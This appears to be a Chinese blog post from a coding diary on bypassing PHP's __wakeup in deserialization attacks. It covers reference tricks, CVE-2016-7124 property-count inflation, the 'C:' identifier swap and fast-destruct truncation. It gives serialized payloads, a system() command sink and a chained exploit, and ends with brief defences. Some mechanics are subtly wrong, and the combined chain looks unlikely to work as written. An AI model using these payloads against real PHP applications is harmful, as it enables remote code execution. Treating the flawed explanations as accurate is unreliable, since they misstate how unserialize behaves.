三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

PHP反序列化:深入剖析__wakeup的多种绕过手法与实战场景

PHP反序列化:深入剖析__wakeup的多种绕过手法与实战场景

1. PHP反序列化与__wakeup基础认知

第一次接触PHP反序列化漏洞时,我被__wakeup这个魔术方法搞得晕头转向。记得当时在调试一个CTF题目,明明构造好了完美的利用链,却总是被这个"看门狗"拦截。后来才发现,理解__wakeup的运作机制是突破反序列化防御的关键第一步。

__wakeup就像对象的"起床闹钟",当PHP对序列化字符串进行反序列化时,如果检测到该魔术方法,就会在对象重建后立即调用它。这个特性常被开发者用来:

  • 重新建立数据库连接
  • 初始化被序列化破坏的资源
  • 执行必要的安全检查

但在安全研究员眼中,__wakeup往往成为利用链上的绊脚石。比如下面这个典型场景:

class VulnerableClass { public $cmd; public function __wakeup() { $this->cmd = ''; // 清空危险属性 } public function __destruct() { system($this->cmd); // 命令执行点 } }

这里__wakeup充当了安全卫士,清除了可能包含恶意命令的$cmd属性。要突破这种防御,我们需要深入了解四种主流绕过技术。

2. 变量引用:内存地址的艺术

2018年参加某次CTF时,我遇到了一个看似无解的题目。题目使用了正则表达式严格检查属性数量,封死了CVE-2016-7124的利用可能。经过36小时的苦战,最终用变量引用技术成功突破。

变量引用绕过的核心原理是PHP的引用赋值机制。当两个变量引用同一内存地址时,修改其中一个会直接影响另一个。具体实现如下:

class Exploit { public $danger; public $safe; public function __construct() { $this->safe = 'harmless'; $this->danger = &$this->safe; // 建立引用关系 } }

当这个对象被序列化后,__wakeup可能会清空$danger的值,但由于$danger和$safe共享内存地址,我们可以通过控制$safe来间接控制$danger。实战中常用的payload构造方式:

$exp = new Exploit(); $exp->safe = "malicious_code"; echo serialize($exp);

关键点在于:

  1. 在对象构造阶段建立引用关系
  2. 确保被引用的属性不会被__wakeup处理
  3. 通过可控的"安全"属性控制危险属性

3. CVE-2016-7124:属性数量的魔术

这个经典的漏洞影响范围包括:

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

其原理简单却威力巨大:当序列化字符串中声明的属性数量超过实际数量时,__wakeup会被完全跳过。我曾在三个真实CMS漏洞利用中成功应用此技术。

漏洞利用分三步走:

  1. 生成正常序列化字符串
class Target { public $attr1; public $attr2; } $obj = new Target(); echo serialize($obj); // 输出:O:6:"Target":2:{s:5:"attr1";N;s:5:"attr2";N;}
  1. 修改属性计数 将:2:改为更大的数字,如:3:
O:6:"Target":3:{s:5:"attr1";N;s:5:"attr2";N;}
  1. 观察__wakeup是否被触发
class Target { public function __wakeup() { die("Defense triggered!"); } } // 使用修改后的payload将不会触发die

在真实漏洞利用中,我建议:

  • 优先尝试将计数改为原值+1
  • 某些环境下需要更大增量
  • 配合其他技术形成组合拳

4. C标识符:类名的华丽变身

2020年分析某开源项目时,我偶然发现了一种鲜为人知的绕过技术——使用C标识符替代传统的O标识符。这种技术在特定场景下能产生奇效。

常规对象序列化使用O标识符:

O:4:"User":1:{s:3:"age";i:20;}

将其改为C标识符后:

C:4:"User":0:{}

这种转换带来两个关键变化:

  1. 反序列化时不会创建完整对象实例
  2. __wakeup魔术方法不会被自动调用

实战案例解析:

// 漏洞代码片段 if(!preg_match("/^[Oa]:[\d]+/i", $input)) { unserialize($input); // 只过滤O和a类型 } // 利用方案 class Malicious { public $cmd = "id"; } $exp = new Malicious(); $payload = str_replace('O:', 'C:', serialize($exp));

进阶技巧包括:

  • 结合SplStack等SPL类使用
  • 利用ArrayObject进行封装
  • 配合字符编码绕过过滤

5. Fast-destruct:GC回收的精准打击

在2021年的某次红队行动中,我遇到了一个特殊场景:目标系统会在反序列化后立即销毁对象。传统方法全部失效,最终通过fast-destruct技术成功突破。

这种技术的本质是利用PHP的垃圾回收机制,通过精心构造的序列化字符串,使对象在__wakeup执行前就被销毁。核心实现方式有两种:

  1. 截断花括号法 原始payload:
O:1:"A":1:{s:1:"a";s:1:"b";}

修改为:

O:1:"A":1:{s:1:"a";s:1:"b";
  1. 指针破坏法 通过修改数组索引制造冲突:
a:2:{i:0;O:1:"A":1:{...}i:0;N;}

我曾用这种方法绕过某WAF的防护,关键步骤包括:

  • 精确计算序列化字符串长度
  • 控制对象销毁时机
  • 配合其他技术形成利用链

6. 实战中的组合拳技法

在实际漏洞挖掘中,单一技术往往难以奏效。去年审计某企业级应用时,我开发了一套组合技术:

  1. 先用C标识符绕过基础过滤
  2. 通过变量引用保持关键属性值
  3. 最后用fast-destruct确保代码执行

典型利用链构造示例:

class Gateway { public $filter; public $command; public function __wakeup() { $this->filter = new SecurityCheck(); } } $exp = new Gateway(); $exp->command = &$exp->filter; // 建立引用 $payload = serialize($exp); $payload = str_replace('O:', 'C:', $payload); // 替换标识符 $payload = substr($payload, 0, -1); // 移除闭合花括号

这种多层绕过的关键在于:

  • 理解每层防御的工作机制
  • 合理安排技术应用顺序
  • 控制对象生命周期各阶段

7. 防御者的应对策略

作为曾经的安全工程师,我总结出几点有效防御方案:

  1. 使用最新PHP版本
  • 确保修复了CVE-2016-7124
  • 获取最新的安全补丁
  1. 实现深度防御
class SecureClass { public function __wakeup() { $this->validateProperties(); $this->rebuildResources(); $this->applyDefaults(); } private function validateProperties() { // 检查各属性值是否合法 } }
  1. 日志监控策略
  • 记录非常规反序列化操作
  • 监控__wakeup绕过尝试
  • 分析异常对象结构

在甲方安全建设中,我建议采用白名单机制,只允许反序列化经过严格验证的类。同时,可以考虑使用替代方案如JSON进行数据交换。

← 返回列表